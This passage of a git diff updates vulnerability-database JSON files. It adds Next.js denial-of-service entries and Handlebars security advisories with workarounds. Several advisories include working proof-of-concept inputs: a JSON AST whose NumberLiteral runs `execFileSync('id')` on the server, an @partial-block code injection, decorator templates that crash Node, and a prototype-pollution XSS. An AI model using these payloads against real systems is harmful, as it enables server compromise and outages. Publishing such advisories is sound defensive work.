`experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.4-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.1.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.5.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] } ], "extractors": { diff --git a/repository/jsrepository-v4.json b/repository/jsrepository-v4.json index f0b88a15..88bbc4b8 100644 --- a/repository/jsrepository-v4.json +++ b/repository/jsrepository-v4.json @@ -4530,6 +4530,165 @@ "info": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-23369" ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321", + "CWE-79" + ], + "identifiers": { + "summary": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('
Welcome! {{> widget}}
');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output:
Welcome!
\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.", + "githubID": "GHSA-2qvq-rjwj-gvw9", + "CVE": [ + "CVE-2026-33916" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "critical", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== 'string') {\n throw new TypeError('Template must be a string');\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.", + "githubID": "GHSA-2w6w-674q-4c4q", + "CVE": [ + "CVE-2026-33937" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.", + "githubID": "GHSA-3mfm-83xf-c92r", + "CVE": [ + "CVE-2026-33938" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "low", + "cwe": [ + "CWE-367" + ], + "identifiers": { + "summary": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i < len; i++) {\n let result = depths[i] && container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).", + "githubID": "GHSA-442j-39wm-28r2" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-754" + ], + "identifiers": { + "summary": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send('Invalid template');\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.", + "githubID": "GHSA-9cx6-37pm-9jff", + "CVE": [ + "CVE-2026-33939" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match 